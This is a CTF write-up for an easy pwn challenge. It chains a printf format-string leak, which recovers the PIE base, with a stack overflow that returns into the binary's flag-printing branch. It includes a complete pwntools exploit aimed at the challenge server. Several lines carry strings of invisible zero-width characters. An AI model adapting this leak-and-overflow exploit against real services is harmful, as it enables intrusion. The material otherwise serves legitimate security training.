← Back to Writeups
CUSTOMEasypwn

Conversation

XESXOR9/2/20263 min read
#pwn#custom#easy#format_string_leak#pie_base_recovery#ret_to_win

Conversation

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: format_string_leak, pie_base_recovery, ret_to_win

Summary

Task: an ELF64 PIE binary with NX and Full RELRO exposes both a format string in the name prompt and a stack overflow in the description prompt, while the embedded flag string is fake. Solution: leak &allowance with the 45th %p, recover the PIE base, then ret to the success branch at base + 0x1489 to print the real remote flag.

Conversation — hackerlab

Description

conversation

We are given an ELF64 network service with PIE, NX, Full RELRO, no canary, and symbols intact. The local binary contains a fake flag string, so the goal is not to read static data but to reach the code path that prints the real remote flag.

Analysis

  • say_name() contains two bugs:
    • a format string in printf(name_buf)
    • a stack overflow in the description input (fgets(..., 0x150, ...) into a 0x140 buffer)
  • Relevant global offsets are: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
text
flag      = 0x4010
allowance = 0x4049
win branch in say_name = 0x1489
  • The binary also contains a fake global string: CODEBY{Fake_flag}.
  • Sending 45 %p specifiers leaks a pointer to &allowance as the 45th printed value.
  • With that leak, the PIE base is:
text
base = leaked_allowance - 0x4049
  • The offset from the description buffer to saved RIP is 0x148.
  • The best target is the existing success branch inside say_name at base + 0x1489, which prints:
c
printf("Hurray! Keep: %s\n", flag)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Choose menu option 1 to enter say_name().
  2. Trigger the format string in the name prompt.
  3. Send 45 %p values and parse the 45th pointer as &allowance.
  4. Compute the PIE base as leak - 0x4049.
  5. In the description prompt, overflow 0x148 bytes up to RIP.
  6. Overwrite RIP with p64(base + 0x1489)[:7].
  7. Send exactly 0x14f bytes with send(), not sendline(), so fgets appends the final NUL itself and supplies the final zero byte of RIP.
  8. Execution lands in the success branch and prints the real flag instead of the fake global string. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 27900

context.binary = elf = ELF("./task", checksec=False)

LEAK_INDEX = 45
FLAG_BRANCH = 0x1489
OFFSET_TO_RIP = 0x148


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([elf.path])


def leak_base(io):
    io.recvuntil(b"Choice: ")
    io.sendline(b"1")
    io.recvuntil(b"My name is ")

    payload = b".".join([b"%p"] * LEAK_INDEX)
    io.sendline(payload)

    out = io.recvuntil(b"You: ")
    line = out.split(b"Excuse me, ", 1)[1].split(b" describe yourself.", 1)[0]
    allowance = int(line.split(b".")[LEAK_INDEX - 1], 16)
    base = allowance - elf.symbols["allowance"]
    log.info(f"allowance = {hex(allowance)}")
    log.info(f"base      = {hex(base)}")
    return base
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def smash_to_flag(io, base):
    target = base + FLAG_BRANCH
    payload = b"A" * 0x140 + b"B" * 8 + p64(target)[:7]
    assert len(payload) == 0x14F
    io.send(payload)


def main():
    io = start()
    base = leak_base(io)
    smash_to_flag(io, base)
    print(io.recvrepeat(2).decode("latin-1", "replace"), end="")


if __name__ == "__main__":
    main()

The exploit was verified against the remote service and returned CODEBY{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍